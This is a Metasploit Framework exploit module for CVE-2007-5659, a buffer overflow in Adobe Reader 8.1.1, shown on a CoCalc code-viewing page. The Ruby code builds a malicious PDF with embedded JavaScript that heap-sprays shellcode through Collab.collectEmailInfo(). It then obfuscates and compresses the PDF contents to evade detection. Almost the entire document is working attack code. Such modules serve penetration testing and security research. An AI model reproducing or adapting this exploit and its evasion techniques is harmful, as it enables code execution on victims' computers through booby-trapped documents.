CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Adobe Collab.collectEmailInfo() Buffer Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional 8.1.1.
18
By creating a specially crafted pdf that a contains malformed Collab.collectEmailInfo() call,
19
an attacker may be able to execute arbitrary code.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],
23
'References' =>
24
[
25
[ 'CVE', '2007-5659' ],
26
[ 'OSVDB', '41495' ]
27
],
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'process',
31
'DisablePayloadHandler' => true
32
},
33
'Payload' =>
34
{
35
'Space' => 1024,
36
'BadChars' => "\x00",
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'Adobe Reader v8.1.1 (Windows XP SP0-SP3 English)', { 'Ret' => '' } ],
42
],
43
'DisclosureDate' => '2008-02-08',
44
'DefaultTarget' => 0))
45
46
register_options(
47
[
48
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
49
])
50
end
51
52
def exploit
53
# Encode the shellcode.
54
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
55
56
# Make some nops
57
nops = Rex::Text.to_unescape(make_nops(4))
58
59
# Randomize variables
60
rand1 = rand_text_alpha(rand(100) + 1)
61
rand2 = rand_text_alpha(rand(100) + 1)
62
rand3 = rand_text_alpha(rand(100) + 1)
63
rand4 = rand_text_alpha(rand(100) + 1)
64
rand5 = rand_text_alpha(rand(100) + 1)
65
rand6 = rand_text_alpha(rand(100) + 1)
66
rand7 = rand_text_alpha(rand(100) + 1)
67
rand8 = rand_text_alpha(rand(100) + 1)
68
rand9 = rand_text_alpha(rand(100) + 1)
69
rand10 = rand_text_alpha(rand(100) + 1)
70
rand11 = rand_text_alpha(rand(100) + 1)
71
rand12 = rand_text_alpha(rand(100) + 1)
72
73
script = %Q|
74
var #{rand1} = unescape("#{shellcode}");
75
var #{rand2} ="";
76
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
77
#{rand4} = #{rand2} + #{rand1};
78
#{rand5} = unescape("#{nops}");
79
#{rand6} = 20;
80
#{rand7} = #{rand6}+#{rand4}.length
81
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
82
#{rand8} = #{rand5}.substring(0, #{rand7});
83
#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
84
while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
85
#{rand10} = new Array();
86
for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
87
var #{rand12} = unescape("%u0c0c%u0c0c");
88
while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};
89
this.collabStore = Collab.collectEmailInfo({subj: "",msg: #{rand12}});
90
|
91
92
# Create the pdf
93
pdf = make_pdf(script)
94
95
print_status("Creating '#{datastore['FILENAME']}' file...")
96
97
file_create(pdf)
98
end
99
100
def random_non_ascii_string(count)
101
result = ""
102
count.times do
103
result << (rand(128) + 128).chr
104
end
105
result
106
end
107
108
def io_def(id)
109
"%d 0 obj" % id
110
end
111
112
def io_ref(id)
113
"%d 0 R" % id
114
end
115
116
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
117
def n_obfu(str)
118
result = ""
119
str.scan(/./u) do |c|
120
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
121
result << "#%x" % c.unpack("C*")[0]
122
else
123
result << c
124
end
125
end
126
result
127
end
128
129
def ascii_hex_whitespace_encode(str)
130
result = ""
131
whitespace = ""
132
str.each_byte do |b|
133
result << whitespace << "%02x" % b
134
whitespace = " " * (rand(3) + 1)
135
end
136
result << ">"
137
end
138
139
def make_pdf(js)
140
141
xref = []
142
eol = "\x0d\x0a"
143
endobj = "endobj" << eol
144
145
# Randomize PDF version?
146
pdf = "%PDF-1.5" << eol
147
pdf << "%" << random_non_ascii_string(4) << eol
148
xref << pdf.length
149
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
150
xref << pdf.length
151
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
152
xref << pdf.length
153
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
154
xref << pdf.length
155
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
156
xref << pdf.length
157
pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
158
xref << pdf.length
159
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
160
pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
161
pdf << "stream" << eol
162
pdf << compressed << eol
163
pdf << "endstream" << eol
164
pdf << endobj
165
xrefPosition = pdf.length
166
pdf << "xref" << eol
167
pdf << "0 %d" % (xref.length + 1) << eol
168
pdf << "0000000000 65535 f" << eol
169
xref.each do |index|
170
pdf << "%010d 00000 n" % index << eol
171
end
172
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
173
pdf << "startxref" << eol
174
pdf << xrefPosition.to_s() << eol
175
pdf << "%%EOF" << eol
176
177
end
178
end
179
180